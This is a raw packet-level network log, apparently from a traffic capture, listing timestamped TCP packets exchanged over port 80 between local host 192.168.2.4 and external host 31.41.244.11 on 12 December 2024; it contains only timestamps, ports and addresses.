Dec 12, 2024 14:26:27.859365940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.859417915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.859942913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.859957933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.860018015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.860795975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.860857964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.860882044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.861013889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.861601114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.861634970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.861833096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.861833096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.862745047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.862760067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.862813950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.862813950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.863373995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.863390923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.863682985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.863682985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.864084005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.864114046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.864139080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.864149094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.864778042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.864826918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.864902020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.864958048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.865796089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.865843058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.865869999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.865921021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.866569996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.866585970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.866677046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.866677046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.867485046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.867585897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.867796898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.867878914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.868447065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.868578911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.868583918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.868750095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.869240999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.869297028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.869348049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.869424105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.870112896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.870182991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.870276928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.870392084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.871215105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.871231079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.871367931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.871871948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.871927977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.871927977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.872006893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.872833967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.872895002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.872973919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.873085022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.873686075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.873712063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.873743057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.873763084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.874691010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.874706984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.874742985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.874761105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.875508070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.875616074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.875648022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.876163960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.876718044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.876733065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.876833916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.876833916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.877506018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.877522945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.877564907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.877564907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.878110886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.878225088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.878261089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.878349066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.879208088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.879224062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.879256010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.879285097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.879885912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.880095959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.880124092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.880182028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.880795002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.880860090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.880930901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.881032944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.881695032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.881751060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.881799936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.882549047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.882791996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.882823944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.882936001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.883513927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.883579969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.883855104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.883912086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.884386063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.884496927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.884520054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.884629011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.885847092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.885863066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.885970116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.885970116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.886616945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.886646032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.887031078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.887279034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.887358904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.887418985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.887506008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.888103962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.888289928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.888314009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.888381958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.889302015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.889317989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.889365911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.889420033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.035098076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.035119057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.035306931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.035306931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.035412073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.035743952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.035779953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.035907984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.036299944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.036367893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.036591053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.036628962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.036704063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.037448883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.037524939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.037614107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.037614107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.038382053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.038398981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.038456917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.038456917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.039261103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.039284945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.039334059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.040297031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.040313959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.040355921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.040390968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.041021109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.041074038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.041074991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.041459084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.041870117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.042038918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.042079926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.042432070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.042818069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.042834997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.042870998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.042896986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.043720961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.043760061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.043780088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.044084072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.044548988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.044564009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.044617891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.045453072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.045469046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.045506001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.046446085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.046463013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.046504021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.046515942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.047867060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.047884941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.047919035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.047949076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.049406052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.049422026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.049462080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.049474001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.050201893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.050302029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.050333023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.050390005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.051145077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.051270008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.051295042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.051350117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.052146912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.052162886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.052248955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.052248955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.052814007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.052865028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.052926064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.052992105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.053577900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.053745031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.053935051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.053935051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.054243088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.054521084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.054552078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.054940939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.054959059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.055035114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.055042028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.055098057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.055509090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.055563927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.055650949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.055650949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.056201935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.056219101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.056366920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.056366920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.056956053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.056998014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.057015896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.057229996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.057838917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.057898998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.057910919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.058109045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.058816910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.058834076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.058944941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.059566021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.059729099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.059760094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.059858084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.060609102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.060627937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.060697079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.060697079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.061371088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.061513901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.061546087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.062109947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.062329054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.062345982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.062385082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.062444925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.063239098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.063340902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.063443899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.063816071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.064217091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.064234018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.064691067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.064894915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.065031052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.065056086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.065139055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.065820932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.065937996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.065972090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.066024065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.066895008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.066911936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.066983938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.066983938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.067900896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.067917109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.067976952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.067976952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.068490028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.068597078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.068625927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.068692923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.069345951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.069462061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.069485903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.069531918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.070305109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.070341110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.070369959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.070382118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.071177006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.071265936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.071300030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.071403980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.072226048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.072242975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.072339058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.072339058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.073079109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.073175907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.073208094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.073292971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.074054956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.074071884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.074110031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.074135065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.075046062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.075134039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.075206995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.075527906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.076086998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.076159954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.076272011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.076272011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.076803923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.076891899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.076924086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.077291965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.077718973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.077785969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.077855110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.078397036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.078469992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.078493118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.078548908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.079386950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.079407930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.079477072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.079477072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.080223083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.080239058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.080276012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.080296993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.081242085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.081257105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.081301928 CET	49801	80	192.168.2.4	31.41.244.11
